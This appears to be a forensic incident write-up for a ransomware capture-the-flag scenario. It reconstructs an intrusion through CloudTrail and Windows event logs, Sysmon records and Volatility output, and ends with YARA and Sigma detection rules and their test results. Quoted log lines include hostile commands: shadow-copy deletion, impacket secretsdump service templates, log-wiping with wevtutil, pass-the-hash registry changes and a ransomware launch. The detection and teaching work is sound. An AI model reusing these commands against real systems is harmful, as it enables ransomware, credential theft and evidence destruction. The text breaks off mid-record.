JACK OF ALL HACKS // N404-2026-0308

A. GuardDuty was watching — but alert fatigue by baseline contamination masked the fires (DD18 + DD19 corrected)

Original reading (partially superseded, kept for transparency): the guardduty.zip in the triage bundle contains 401 findings, but 299 reference i-99999999 and 367 reference GeneratedFinding* placeholders. Every record is GuardDuty CreateSampleFindings template output, not a real alert on this environment. DD18 corrects this: three attack-day records are real fires. DD19 corrects the noise-count: 383 sample findings, not 299 (some sample findings reference i-99999999 indirectly via related-entity fields).

Detection-gap conclusion (revised DD18/DD19): GuardDuty did trigger on this attack — the three alerts below fired on time. What failed was the response (no SOAR auto-revoke) and the signal-to-noise pipeline (0.75% real-to-total ratio, with the 383 samples and 15 lab-setup alerts swamping the console). Had the defender applied a baseline-aware triage filter, they would have seen:

• UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS — iam_role_iisserver credentials used from 212.8.249.213 (off-instance)
• CredentialAccess:IAMUser/AnomalousBehavior.CreateAccessKey — programmatic iam:CreateAccessKey for jb_aws_cli
• PenTest:IAMUser/KaliLinux or generic anomalous UA — the operator's aws-cli/2.34.4 … os/windows#11 … md/command#iam.create-access-key user-agent is highly non-normal for a production IIS instance-role

GuardDuty had no real-world visibility in this environment — the guardduty.zip is a CTF-completeness artifact, not a defender signal source.

B. The cloud persistence attempt — only the first try hit quota; three later tries SUCCEEDED (walked back by DD7)

Original reading (preserved for transparency; walked back above):

Cloud-persistence failure at 21:45:38Z is not an AccessDenied policy block — CloudTrail records it as CreateAccessKey failing with errorCode: "LimitExceededException", message "Cannot exceed quota for AccessKeysPerUser: 2".

{
  "eventTime": "2026-03-08T21:45:38Z",
  "eventSource": "iam.amazonaws.com",
  "eventName": "CreateAccessKey",
  "sourceIPAddress": "212.8.249.213",
  "userAgent": "aws-cli/2.34.4 md/awscrt#0.31.2 ua/2.1 os/windows#11 md/arch#amd64 ...
                md/command#iam.create-access-key",
  "requestParameters": { "userName": "jb_aws_cli" },
  "errorCode": "LimitExceededException",
  "errorMessage": "Cannot exceed quota for AccessKeysPerUser: 2"
}
// → next 25 s: three more CreateAccessKey calls, all SUCCESS (see DD7)

Security implication (revised): iam_role_iisserver had iam:CreateAccessKey on arbitrary IAM users and the attacker exploited it successfully. The quota blocked one of four attempts, not the attacker's ability to persist. Remediation: scope the role to iam:* on arn:aws:iam::<acct>:role/iam_role_iisserver only (or strip IAM entirely — no good reason a webserver role needs CreateAccessKey); rotate / revoke the three stockpiled keys from DD16 before doing anything else.

C. Impacket secretsdump --use-vss · verbatim 5-service signature

Every stage uses the same ImagePath template — the "echo to execute.bat → run execute.bat" pattern is the impacket fingerprint. Service names are impacket's random 8-char ascii_letters+digits. All five fire on DC01 inside a 20-second window.

Hunt query: Security EID 7045 WHERE ImagePath MATCHES %COMSPEC% /Q /c echo %COMSPEC% /C .* ^> %SYSTEMROOT%\\Temp\\__output ^> %TEMP%\\execute.bat ^& %COMSPEC% /Q /c %TEMP%\\execute.bat will catch every impacket secretsdump/psexec/smbexec/atexec install — regardless of the 8-char service name.

D. DisableRestrictedAdmin = 0 propagated across the estate (4 hosts, two techniques)

The registry flip that enables RDP Pass-the-Hash was pushed across 4 hosts — and the process behind it reveals two different operator tradecraft modes:

SVR01 was the interactive beachhead — the operator typed reg add locally. WS01/DC02/WS02 were flipped remotely (NT AUTHORITY\LOCAL SERVICE is RemoteRegistry service impersonating the authenticated attacker over RPC) via impacket or nxc. Hunt signal: watch for HKLM\System\CurrentControlSet\Control\Lsa\DisableRestrictedAdmin set by LOCAL SERVICE (remote) — there is never a legitimate reason for RemoteRegistry to write that key.

E. Reverse-engineering the Explorer.EXE-injected DLL (VAD 0xa60000-0xa8efff)

Tradecraft read: the minimal import surface (no networking, no process APIs, no FS) combined with VirtualProtect/VirtualQuery import is the signature of a reflective-loader stub. The real capability lives in code the loader resolves at runtime via hashed API names or direct syscalls — a technique shared by Unknown C2, Sliver, Havoc, modern Cobalt Strike shellcode, and Metasploit's ReflectiveLoader. The compile timestamp (20:00:25 UTC, same day) combined with the fresh 8-char-hex service name randomness argues strongly for an operator-built-for-this-campaign OSS C2, not an off-the-shelf Cobalt Strike default artifact.

F. Alternate (on-prem) exfil path — FileZilla SFTP to the Linode VPS

Cloud S3 was the primary exfil path (164 GetObjects from role iam_role_iisserver), but an independent on-prem SFTP exfil also ran on SVR01 — flagged by the challenge author as "not the intended solution" but a valid independent egress channel that a blue team should recognize:

Key finding: the destination is 172.236.127.251 — the same Linode VPS the initial iis.exe binary was pulled from at 18:52 via certutil. Same attacker infrastructure, different port (TCP 22 SFTP vs TCP 80 HTTP delivery). This corroborates single-threat-actor attribution across the kill chain.

G. Ransomware trigger task OlgyLYbd — full detonation chain

Ransomware launch was driven by a scheduled task. The task-registration-to-encryption chain runs in under a second:

1. 22:09:15.952 — Task file created at C:\Windows\System32\Tasks\OlgyLYbd on WS01 by svchost.exe (PID 1584) as SYSTEM; Sysmon EID 11 tagged RuleName: T1053.
2. 22:09:15.960 — TaskScheduler Operational EID 106 "Task registered" · UserContext=LAF\LAFAdmin (who owns the task) · TaskName \OlgyLYbd.
3. 22:09:16.336 — EID 325 "Task queued" · InstanceId DEB9ED35-7B6D-43CB-AEB6-018CF53253CA.
4. 22:09:16.337 — EID 110 "Task started" · UserContext=System (task ran elevated).
5. 22:09:16.343 — cmd.exe PID 28168 launched: cmd.exe /C cmd /c \\laf-dc02\sysvol\sysAV.bat > C:\Windows\Temp\OlgyLYbd.tmp 2>&1. ParentProcess = svchost.exe -k netsvcs -p -s Schedule.
6. 22:08:40.416 (WS02) — \\LAF-DC02\sysvol\IamBatman.exe encrypt C:\ fires as SYSTEM (PID 8428).
7. 22:08:58.253 — First encrypted file on WS02: C:\Windows\System32\drivers\gmreadme.txt.bWqQUx. Even the ransom note itself gets encrypted: README_bWqQUx.txt created 22:08:58.254, then encrypted to README_bWqQUx.txt.bWqQUx 11 ms later.

Pre-staging clue: at 22:07:07 and 22:08:10, LAFAdmin opened sysAV.bat in notepad.exe on DC02 — the operator reviewed/edited the launcher script 2.5 minutes before detonation. That's operator-on-keyboard signal; auto-execution malware doesn't need notepad.

H. Evidence eradication — LogDel.bat wiped 6 channels in 230 ms (missed Sysmon)

At 21:08:28 on SVR01, LAFAdmin ran cmd.exe /c "C:\ProgramData\LogDel.bat" (parent powershell.exe). The batch fired six wevtutil cl invocations inside 230 milliseconds — and made one important mistake:

The channel the attacker forgot: Microsoft-Windows-Sysmon/Operational. That omission left every subsequent Sysmon event (EID 1 process-creation, EID 10 process-access, EID 11 file-create, EID 13 registry-set) fully intact — which is how we reconstruct the rest of the kill chain on SVR01 after 21:08:28. Operator tradecraft note: a LogDel.bat that only knows about default Windows channels loses against any estate that added Sysmon after 2013.

I. Attacker infrastructure — IP → ASN/ORG enrichment

Four unique external IPs appear in this kill chain. WHOIS / reverse-DNS attribution:

Two Linode IPs, separated roles: the attacker split .251 (delivery/exfil) from .180 (C2) — standard operator discipline to avoid single-IP burn. Both on the same ASN (Linode/Akamai) with sequential-ish allocations. The cloud egress from WorldStream (NL) is different — that's the attacker's own workstation/proxy hitting AWS directly, not routed through Linode.

J. DPAPI masterkey theft trail — EID 12289/8200 timeline

The operator's DonPAPI usage shows up as Microsoft-Windows-Crypto-DPAPI provider events. Key events during attack window:

Hunt rule: EID 8200 (MasterKey backup) is a rare Crypto-DPAPI event in a production environment — it normally fires only when a user changes password and the MasterKey gets migrated. Two EID 8200 events within 90 seconds of a new RDP logon, especially with an empty EncryptCredID (00000000-0000-…), is a strong DonPAPI / backup-key-theft indicator. Correct provider is Microsoft-Windows-Crypto-DPAPI Security-channel events, not Sysmon EID 9.

L. Smoking-gun: Sysmon EID 8 CreateRemoteThread — SMB beacon injected Explorer at 20:01:16.676Z

The LSASS-dump attribution (Addendum corrections + inline 2822 note) is now mathematically proven by a single Sysmon record — the same thread ID does both the injection and the dump:

// SVR01 · Microsoft-Windows-Sysmon/Operational · EID 8 · 2026-03-08T20:01:16.676Z
{
  "UtcTime": "2026-03-08 20:01:16.675",
  "SourceProcessGuid": "27E06484-D504-69AD-7BE5-000000000800",
  "SourceProcessId":   9112,
  "SourceImage":       "\\\\10.3.10.12\\ADMIN$\\rnSylwOz.exe",   // SMB pivot beacon
  "SourceUser":        "NT AUTHORITY\\SYSTEM",
  "TargetProcessGuid": "27E06484-5AEB-69AA-9A4B-000000000800",
  "TargetProcessId":   1332,
  "TargetImage":       "C:\\Windows\\explorer.exe",
  "TargetUser":        "LAF\\LAFAdmin",
  "NewThreadId":       10020,                                       // ← keep this number
  "StartAddress":      "0x0000000000A40000",                        // inside injected VAD
  "StartModule":       "-",   // ← unresolved = not in any loaded image
  "StartFunction":     "-"    // ← unresolved = not a known export
}

Then, 2 minutes 14 seconds later, Sysmon EID 10 on the same host records the LSASS open:

// SVR01 · EID 10 · 2026-03-08T20:03:30.861Z · GrantedAccess 0x1010
{
  "SourceProcessId":   1332,                    // Explorer
  "SourceImage":       "C:\\Windows\\Explorer.EXE",
  "SourceThreadId":    10020,                   // ← IDENTICAL NewThreadId
  "TargetImage":       "C:\\Windows\\system32\\lsass.exe",
  "CallTrace":         "ntdll.dll+a0e44 | UNKNOWN(00007DF4BAAF2622)"
}

What this proves, concretely:

• The thread doing the LSASS open was not spawned by Explorer itself. It was created from outside, by PID 9112 (the SMB beacon).
• The thread's start address 0xA40000 is inside the private-committed VAD range (0xA60000–0xA8EFFF) flagged as injected by Vol3 malfind.
• Both StartModule and StartFunction are "-" — the RIP target is in memory that isn't backed by any loaded PE image. That is the definitional signature of floating/injected code.
• The same ThreadId 10020 then opens LSASS with 0x1010 (the MiniDumpWriteDump access pair) — one continuous thread identity from injection to dump.

Attribution chain, with evidence links:
iis.exe (IIS webshell drop, 18:52:20) → replaced C:\TFTP Server\SolarWinds.exe at 19:16:52 → executed as SYSTEM at 19:38:02 on Donny's reboot → dropped rnSylwOz.exe on SVR01 via ADMIN$ at 19:58:38 → SCM launched rnSylwOz.exe (PID 9112) as SYSTEM at 19:59:00 → CreateRemoteThread into Explorer PID 1332 at 20:01:16 → same thread dumped LSASS at 20:03:30. Every step is a discrete EVTX record, every step names the process that did it.

M. Full RDP session map — legitimate vs attacker vs IR

Every Type-10 logon during the attack window. Separating legitimate admin, attacker pivots, and post-impact incident response:

Attacker IP-mode shift: RDP pivots 1–2 used external source 198.51.100.10 (attacker's WireGuard endpoint). Pivots 3–4 shifted to internal source 10.3.10.12 (SVR01) — the attacker was proxy-chaining RDP through the SVR01 beacon, which is why the later sessions look internal even though the hands-on-keyboard operator was still at 198.51.100.10.

N. Kerberos ticket chain — 4768/4769 map of the domain pivots

The domain controllers' Security logs preserve every TGT and TGS request. Walking them reveals the operator's exact Kerberos flow:

Detection lens: the 19:33:20 IIS-SERV-PROD$ TGT from 198.51.100.10 is the earliest Kerberos-visible attacker signal — 2h 22m before ransomware detonation. Any 4768 for a machine account from a WAN/VPN source is anomalous; enterprise hosts normally authenticate to the DC from their own subnet. This alone would have MTTD-collapsed this attack had it been ingested.

O. SMB share operations — impacket's read/write/delete cadence on DC01 ADMIN$

Security EID 5140 (share access) + 5145 (detailed file access on share) preserve LAFAdmin's every interaction with DC01\ADMIN$ from 198.51.100.10 during the secretsdump window:

// DC01 · Security · LAFAdmin @ 198.51.100.10 · SHARE ADMIN$
20:08:52.412  EID 5140  open ADMIN$
20:08:52.549  EID 5145  Temp\__output       AccessMask 0x00001  (READ_DATA)          ← stage 1 output read
20:08:53.319  EID 5140  open ADMIN$
20:08:53.456  EID 5145  Temp\__output       AccessMask 0x10080  (DELETE | READ_DAC)  ← cleanup
20:09:02.045  EID 5140  open ADMIN$
20:09:02.183  EID 5145  Temp\__output       AccessMask 0x00001  (READ_DATA)          ← stage 3 output
20:09:02.952  EID 5140  open ADMIN$
20:09:03.089  EID 5145  Temp\__output       AccessMask 0x10080  (DELETE | READ_DAC)  ← cleanup
20:09:05.923  EID 5140  open ADMIN$
20:09:06.089  EID 5145  Temp\__output       AccessMask 0x10080  (DELETE | READ_DAC)  ← cleanup of stage 5
20:09:06.583  EID 5140  open ADMIN$
20:09:06.721  EID 5145  Temp\ZIFylmKF.tmp   AccessMask 0x00001  (READ_DATA)          ← NTDS PICKUP — Subpoena-8

What this pattern reveals: every impacket service install is followed within ~140 ms by an SMB pull of \Temp\__output, then a DELETE. That read/delete cadence is more distinctive than the service names — it's the same for every invocation and impossible to randomize without breaking impacket. Hunt rule: EID 5145 on ADMIN$ with RelativeTargetName matching Temp\\__output at AccessMask 0x1 → 0x10080 within 200 ms is a durable impacket signature.

The very last read (20:09:06.721 of ZIFylmKF.tmp) is the Subpoena-8 cid "when did LAFAdmin access the staged NTDS copy" answer — the pickup event after the 5-stage service orchestration completed.

P. Prefetch survives log-clearing — definitive first-run timestamps

Windows Prefetch (C:\Windows\Prefetch\*.pf) records the first and subsequent execution of every EXE. Because prefetch files are on-disk and not cleared by wevtutil cl, they survive LogDel.bat. First-run evidence for attack tools:

Forensic principle: even in environments where Sysmon is not deployed and Security/System logs are rotated aggressively, prefetch (if enabled — which is default on Windows client editions) will reveal binary execution for at least 128 MRU entries. For rnSylwOz.exe, the SHA-256-named prefetch hash (E4BE7640) is a stable second IOC that doesn't match any benign Windows binary.

Q. #JustaLawyer isn't an attacker artifact — it's legal-discovery evidence

The Subpoena-1 answer (#JustaLawyer) was indexed to source_type='browser_session' (Chrome SNSS) on WS02. Precise provenance:

// WS02 · Chrome SNSS Session_13417074383248741 · EID 5200
2026-03-04T05:06:23.248Z    string="#JustaLawyer"      browser=chrome profile=Default
2026-03-04T05:07:17.725Z    string="#JustaLawyer"      browser=chrome profile=Default

Four days before the attack (2026-03-04, attack was 2026-03-08), the legitimate user of WS02 — the "Donny" / "Dalton" persona who owned that laptop — typed #JustaLawyer into Chrome. The string lived in Chrome's Session blob on disk. The ransomware attack never touched this blob (Chrome profiles weren't an encryption target); the ransomware did exfiltrate data out of S3, but it did not exfiltrate this browser artifact.

What the challenge actually tests: the subpoena framing treats the CTF corpus as a legal-discovery snapshot, asking "find the evidence in this seized laptop that the subject was a lawyer". The correct mental model is e-discovery, not APT threat hunting — attack-window EVTX won't surface this answer because the token lives in pre-attack browser state. Playbook anti-pattern: "browser history / Chrome / search questions → source_type='browser_session'" over a date range that includes the week before the incident.

R. The ransomware was seeded through SYSVOL — AD's own replication was the distribution channel

Both ransomware artifacts (IamBatman.exe + sysAV.bat) were written to DC02's SYSVOL share from within LAFAdmin's interactive session:

// DC02 · Sysmon EID 11 · FileCreate by explorer.exe PID 3272 (LAF\LAFAdmin)
2026-03-08T21:03:54.417Z    C:\Windows\SYSVOL\sysvol\IamBatman.exe     ← ransomware binary
2026-03-08T21:04:05.417Z    C:\Windows\SYSVOL\sysvol\sysAV.bat         ← launcher (11 s later)

From that moment, DFSR replicated both files to every domain controller automatically — which is why \\LAF-DC02\sysvol\IamBatman.exe was reachable from every domain-joined host without any further attacker action. Then:

// DC02 · Security EID 5145 · SYSVOL share read by LAF-WS02$ machine account from 10.3.10.14
2026-03-08T22:01:19.224Z   \\*\SYSVOL\IamBatman.exe   AccessMask 0x120089 (READ_DATA | GENERIC_READ)
2026-03-08T22:01:19.232Z   \\*\SYSVOL\IamBatman.exe   AccessMask 0x1200a9 (executable read)
2026-03-08T22:04:36.977Z   \\*\SYSVOL\IamBatman.exe   AccessMask 0x120089  (second read)
2026-03-08T22:08:40.416Z   WS02 · EID 1 · \\LAF-DC02\sysvol\IamBatman.exe encrypt C:\    ← DETONATION

Dwell-before-fire: the binary sat on SYSVOL for 65 minutes (21:03:54 → 22:08:40) before it was executed. This let DFSR fully replicate to every DC and let the operator finish prep (DPAPI sweep, DisableRestrictedAdmin propagation, pre-staging on WS02) before pulling the trigger. Blue-team lesson: any *.exe or *.bat written under C:\Windows\SYSVOL\sysvol\ that is not a known GPO script is a high-confidence detection — legitimate SYSVOL content is Group Policy artifacts, not standalone binaries.

S. Ransomware blast radius — 6,023 files across 5 hosts in 58 minutes (DD13 corrected)

DC02 "anomaly" — walked back by DD14.1: earlier drafts flagged DC02's 5.4-second burst as evidence of a self-abort. DD14.1 shows this reading was wrong. DC02 cleanly matched 388 files (all encrypted, clean exit) because Domain Controllers hold very few user .txt/.pdf/.csv documents matching IamBatman's narrow target extension scope. What looked like "72 f/s vs 0.2–0.7 f/s" is not encryption speed at all — it's directory-walk time. DCs have sparse user-document trees; workstations and file servers have dense ones. Every host ran the same IamBatman binary with the same parameters and completed cleanly; DC02 simply had less to do. No self-abort, no kill-switch — the corpus does not support the hypothesis.

Extension scope (DD13.2): 5,163 .txt (91.6%) · 204 .pdf (3.6%) · 172 .csv (3.1%) · 84 other (1.5%) · 6 .xlsx (0.1%) · 6 .docx (0.1%) = 5,635 extension-summed + 388 DC02 (not broken down) = 6,023 total. Critical AD files deliberately skipped: ntds.dit, SYSTEM/SAM/SECURITY hives, ntuser.dat — scenario-recoverable design (DD13.4).

T. Pre-detonation staging — vssadmin/bcdedit fired 10 minutes before encryption

On WS02 at 21:58:34-37 (10 minutes before the actual encryption at 22:08:40), the attacker chain pre-staged the environment to make recovery impossible:

// WS02 · Sysmon EID 1 · 2026-03-08 · SYSTEM
21:58:34.024   cmd.exe  PID 33576
21:58:34.070   cmd.exe  PID 25428
21:58:36.572   vssadmin.exe  delete shadows /all /quiet        ← kill backups
21:58:36.984   bcdedit.exe   (1st boot-config edit)
21:58:37.012   bcdedit.exe   (2nd boot-config edit)
...
22:08:40.416   IamBatman.exe encrypt C:\                        ← detonation

What the 10-min gap actually was: a failed first detonation caused by a shell-syntax bug (Addendum DD5.1). The operator queued cmd /c sysAV.bat ; IamBatman.exe encrypt C:\ — cmd.exe treats ; as a literal character, not a separator, so only sysAV.bat ran. Shadows were deleted (sysAV.bat did its part) but IamBatman never launched. Zero .bWqQUx files exist in the 21:58 → 22:08:40 window — proof-by-absence. Ten minutes later the operator registered a second scheduled task mIglpUCO to re-attempt; that one fired correctly and encryption started at 22:08:40.416. Hunt rule remains valid regardless of intent: a vssadmin delete shadows /all /quiet + 2× bcdedit.exe cluster within 3 seconds on any host is a pre-ransomware signature — investigate immediately whether or not the encryption loop has fired yet.

U. Donny's 19:37 reboot was routine Group-Policy troubleshooting — not attacker-induced

Addendum H noted that the attacker's sc start failed and only Donny's reboot cooperated. Examining why Donny rebooted is critical for incident attribution — was it attacker-nudged or coincidental?

// IIS · User=LAF\Donny · Sysmon EID 1 process-create timeline
19:33:18   cmd.exe                          ← opens interactive shell
19:33:25   gpupdate /force                  ← FORCE GROUP POLICY REFRESH
19:34:05   gpresult /R                      ← check applied GPs
19:34:33   mmc.exe lusrmgr.msc              ← opens Local Users & Groups
19:34:34   mmc.exe lusrmgr.msc              ← re-opens (elevated context)
19:35:34   gpresult                         ← 6× gpresult with different scopes
19:35:42   gpresult /S
19:35:46   gpresult /S system
19:35:52   gpresult
19:36:18   gpresult /SCOPE system /R
19:36:32   gpresult /SCOPE COMPUTER /R
19:36:55   cmd.exe                          ← final shell
19:37:35   SystemSettingsAdminFlows Shutdown 5   ← RESTART via Start menu

What Donny was actually doing: classic GP-propagation-check workflow. Six gpresult calls with different scopes is an admin troubleshooting a GPO that isn't applying the way they expected, followed by a reboot to force a clean re-apply. This is entirely legitimate administrator activity; the attacker had no ability to push GPOs at 19:33 (they didn't have domain admin yet — that came at 20:02:14 on SVR01).

Correction to Addendum H: the attacker was not lucky; they knew to wait. Production admin servers get rebooted routinely for patches/GPOs/updates — any dropped binary in an auto-start service will eventually execute. Patient attackers plant and wait; Donny's reboot was timing, not happenstance. Operational control: the attacker chose an auto-start service (SolarWindsTFTP) knowing any reboot would fire it.

V. YARA rules for the beacon family — drop-in detection artifacts (tested · 100% pass)

Two draft YARA rules derived from this engagement, ready to ship to defenders hunting the same (or similar) campaign:

rule Null404_SMBPivot_Beacon_SolarWinds_rnSylwOz {
    meta:
        author      = "Null404 DFIR · ARCLIGHT6"
        description = "MinGW-w64 OSS SMB-pivot beacon, SHA-cross-host reuse SolarWinds.exe / rnSylwOz.exe"
        date        = "2026-04-20"
        sha256      = "91813A2A087B3110F280FFCCD6031F60653049889C4944F3B800BA974FA7E81F"
        md5         = "AA1097F847964B5E5DA27834CE576AC8"
        imphash     = "37E28CA3C643B664ACC2275611365DB0"
        reference   = "LAF / null404 / 2026-03-08 intrusion"
    strings:
        $pipe_tmpl = "\\\\.\\pipe\\%08lx" wide ascii
        $mingw     = "Mingw-w64 runtime failure" ascii
        $s1        = "VirtualProtect" ascii
        $s2        = "VirtualQuery"   ascii
        $s3        = "TlsGetValue"    ascii
        $s4        = "_amsg_exit"     ascii
        $exp       = "_Z11GetVersionsv" ascii      // decoy mangled C++ export
    condition:
        uint16(0) == 0x5A4D and                    // MZ
        uint32(uint32(0x3C)) == 0x00004550 and     // PE
        $pipe_tmpl and $mingw and 3 of ($s*) and filesize < 256KB
}

rule Null404_InjectedLoader_VAD_0xA60000 {
    meta:
        author      = "Null404 DFIR · ARCLIGHT6"
        description = "Reflective-loader stub found injected into explorer.exe PID 1332 on SVR01"
        sha256      = "6ef6b52fbdf585b5145971aa2303f41d691113669dc264465f87ac2e6861228c"
        image_size  = "0x2f000 (188 KB)"
    strings:
        $pipe     = "\\\\.\\pipe\\%08lx" ascii
        $mingw    = "Mingw-w64 runtime failure" ascii
        $decoy    = "file.dll" ascii                 // export module name
        $exp      = "_Z11GetVersionsv" ascii
        $crtinit  = "_initterm" ascii
        $vp       = "VirtualProtect" ascii
        $vq       = "VirtualQuery"   ascii
    condition:
        uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and
        all of them and filesize < 256KB
}

rule Null404_Impacket_SecretsDump_ServicePattern {
    meta:
        author      = "Null404 DFIR · ARCLIGHT6"
        description = "Impacket secretsdump/psexec/smbexec/atexec ImagePath fingerprint"
        reference   = "DC01 2026-03-08 20:08:44 .. 20:09:04 — UnmfmnOL, QsYyAARL, XCCVTGUb, SOUwKZNf, PovLjNTr"
    strings:
        $sig = /%COMSPEC% \/Q \/c echo %COMSPEC% \/C .+ \^> %SYSTEMROOT%\\Temp\\__output > %TEMP%\\execute\.bat & %COMSPEC% \/Q \/c %TEMP%\\execute\.bat/
    condition:
        $sig
}

How to deploy: load via YARA scanner (yara-x, Velociraptor, CrowdStrike Custom IOAs, Trellix ePO, etc.). The first two rules catch disk-resident and memory-resident variants; the third is a log-pattern rule that matches Security EID 7045 ImagePath or 4697 ServiceFileName content and does not care about the 8-char random service name. Combine with the Sigma c3333333-*-003 rule (fires on services.exe parent + ADMIN$ image path) for process-time detection.

DT. Detection-pack test report — 8 YARA + 9 Sigma rules validated against the live corpus · 100% pass

Rules at detections/yara/c2_ioc.yar + detections/sigma/*.yml · corpus at null404_bench.sqlite + vol_out/malfind_dump/ + bigmac/ · yara-python 4.5.4 + SQLite3 + Python3 · generated 2026-04-21.

8/8 YARA: PASS 9/9 SIGMA: PASS 2 RULES PATCHED DURING TEST

DT.1 — Headline

All 17 rules (8 YARA + 9 Sigma) validated end-to-end against the triage corpus. YARA: 7 positive matches fire correctly + 10 negative tests produce zero false positives (including a 163 MB benign kape.zip bundle and 8 benign VAD dumps from Firefox / SearchApp / PowerShell JIT heaps). Sigma: 9 SQL-translations of the detection logic all return the expected attacker events and no unrelated false positives. Two bugs surfaced and were fixed during testing: the GuardDuty rule was matching a pre-seeded sample finding (fixed by excluding sample:true + instanceId=i-99999999), and the IIS cmd-injection rule missed URL-encoded metacharacters (fixed by adding %26%26 / %3B / %7C / C%3A%5C patterns — catch rate went from 10 → 28 of 22+ attacker injection attempts).

DT.2 — YARA validation matrix (8 rules · 163 MB benign bundle + 8 VAD dumps + 6 synthetic test artifacts)

# Reproduction — YARA
import yara, pathlib
rules = yara.compile(filepath='./detections/yara/c2_ioc.yar')
for f in sorted(pathlib.Path('./vol_out/malfind_dump').glob('*.dmp')):
    m = rules.match(str(f))
    print(f.name, '→', [r.rule for r in m] or 'none')

DT.3 — Sigma validation matrix (9 rules · SQL-translated against the corpus)

DT.4 — Bug details + fixes applied

detection:
  selection:
    "finding.type": 'UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS'
    "finding.severity|gte": 8
  exclude_samples:
    "finding.service.additionalInfo.sample": true
    "finding.resource.instanceDetails.instanceId": 'i-99999999'
  condition: selection and not exclude_samples

DT.5 — Pass-rate summary

DT.6 — Known limitations

• Sigma SQL-translation approximates the YAML logic — production deployment should use Sigma-to-backend converters (Splunk / Elastic / Sentinel / Chronicle) with native field mappings.
• YARA rules were synthetic-tested for artifacts where we do not have the on-disk binary (the attacker tool-server at 173.230.136.180 is offline per DD29, so iis.exe, rnSylwOz.exe, and IamBatman.exe disk bytes are not available). Synthetic test files verify rule logic; real-binary confirmation requires a VT retrohunt or sample recovery.
• win_iis_checkstatus_aspx_cmdinjection after the fix: all 28 hits are from 172.236.127.251 (attacker) or 216.82.9.162 (author pre-test). No false positives on Donny's legitimate ?url=reddit.com browsing at 71.205.100.56 (DD23.1). Precision acceptable.
• win_vssadmin_bcdedit_recovery_disable over-hits by 2.4× (12 vs expected 5) because each vssadmin is paired with multiple bcdedit invocations inside the 5-second window. Not a false-positive issue — just a noisy count. Add | unique host aggregation in production to dedupe.

DT.7 — Reproduction harness (Sigma)

-- win_impacket_smbexec_services
SELECT time_utc, service_name
FROM events
WHERE source_type='evtx' AND eid IN (7045,4697)
  AND service_name GLOB '[A-Za-z][A-Za-z][A-Za-z][A-Za-z][A-Za-z][A-Za-z][A-Za-z][A-Za-z]'
  AND service_file_name LIKE '%__output%'
  AND service_file_name LIKE '%execute.bat%';

-- win_sysmon_injected_explorer_lsass_access
SELECT time_utc FROM events
WHERE source_type='evtx' AND eid=10
  AND json_extract(data_json,'$.SourceImage') LIKE '%explorer.exe'
  AND json_extract(data_json,'$.TargetImage') LIKE '%lsass.exe'
  AND json_extract(data_json,'$.CallTrace') LIKE '%UNKNOWN(%';

DT.8 — Multi-backend conversion + SigmaHQ prior-art crosswalk

All 9 Sigma rules were re-validated through pysigma with production backends: 9/9 parse cleanly, 18/18 convert to Splunk SPL (regex literals handled via | regex …) and Elastic Lucene with zero conversion errors. The hand-SQL harness in DT.7 is now redundant for deployment — one YAML compiles to any SIEM through the standard Sigma toolchain.

Crosswalked against 3,567 SigmaHQ rules to separate novel detection content from duplicate logic. Verdict:

Net result: 4 of 9 rules are genuinely novel and worth a SigmaHQ pull request — win_ifeo_debugger_hijack, win_dc_user_created_then_da_add, win_sysmon_injected_explorer_lsass_access, aws_guardduty_instance_credential_exfil. 4 are duplicates of battle-tested SigmaHQ equivalents that should be swapped in and cited rather than maintained locally. 1 (win_iis_checkstatus_aspx_cmdinjection) is partial — the OS-command-injection-via-URL-param angle is scenario-specific enough to keep as local override, but the generic web-shell-drop detection should defer to SigmaHQ's proc_creation_win_certutil_download.

DT.9 — Three-tier detection-pack layout (SigmaHQ integration · commit 8155881)

DT.8's crosswalk turned into a concrete on-disk restructure. The detection directory now has three Sigma tiers plus the unchanged YARA layer:

detections/
├── sigma/              — 4 novel rules (local canonical · NOVEL per DT.8)
├── sigma-upstream/     — same 4 rules, SigmaHQ-convention formatted, PR-ready
├── sigma-superseded/   — 5 rules duplicating SigmaHQ; kept with scenario notes
└── yara/c2_ioc.yar — 8 YARA rules (no SigmaHQ equivalents · YARA layer separate)

Four upstream-PR-ready files (in detections/sigma-upstream/) with their target SigmaHQ paths:

Before vs after — what the SigmaHQ integration changed:

Final harness run: 16 YARA · 4 Sigma conversions · 4 SQL validations · 0 failures ✅

DT.10 — Example pySigma output (GuardDuty rule, auto-generated, zero manual translation)

Same YAML source — aws_guardduty_instance_credential_exfil_response.yml — compiled to two production SIEM backends:

# Splunk SPL
finding.type="UnauthorizedAccess:IAMUser/InstanceCredentialExfiltration.OutsideAWS"
finding.severity>=8
NOT (finding.service.additionalInfo.sample=true
     finding.resource.instanceDetails.instanceId="i-99999999")
| table finding.id,finding.service.action.awsApiCallAction.remoteIpDetails.ipAddressV4,...

# Elastic Lucene
(finding.type:UnauthorizedAccess\:IAMUser\/InstanceCredentialExfiltration.OutsideAWS
 AND finding.severity:>=8)
AND (NOT (finding.service.additionalInfo.sample:true
          AND finding.resource.instanceDetails.instanceId:i\-99999999))

Both outputs auto-generated from the single YAML via sigma convert -t splunk|lucene. No hand-translation required. DT.4's GuardDuty bug-fix (sample exclusion for sample:true + i-99999999) is preserved in the upstream format and propagates through both conversions identically.

Commit trail: 9607f50 detection pack v1 + DD32 Unknown C2 PE deep-dive · eee1939 v2.45 DD33 + win_ifeo_debugger_hijack.yml · 6b354ad rule fixes (GuardDuty sample exclusion + URL-encoded injection patterns) + test report inlined · 8155881 SigmaHQ integration complete (three-tier layout · pysigma · UUIDs · PR-ready upstream format).

W. Vol3 memory snapshot — the beacon caught alive at 22:46:45 (2h 48m into its run)

The SVR01 memory dump (capture time 2026-03-08 22:46:45 UTC) caught rnSylwOz.exe mid-operation. Three Volatility 3 plugins tell the whole story:

// windows.pslist.PsList
{
  "PID":          9112,
  "PPID":         672,                 // services.exe
  "ImageFileName": "rnSylwOz.exe",
  "CreateTime":   "2026-03-08T19:59:00+00:00",
  "ExitTime":     null,                // still alive at capture (2h 48m uptime)
  "Threads":      4,
  "SessionId":    0,                   // service session
  "Offset(V)":    185333530841216      // 0xa88f53455080 — Volatile-Verdicts 5 answer
}

// windows.cmdline.CmdLine
{ "PID": 9112, "Process": "rnSylwOz.exe", "Args": "\\\\10.3.10.12\\ADMIN$\\rnSylwOz.exe" }

// windows.netstat.NetStat  — THE beacon heartbeat
{
  "PID":         9112,
  "Owner":       "rnSylwOz.exe",
  "Proto":       "TCPv4",
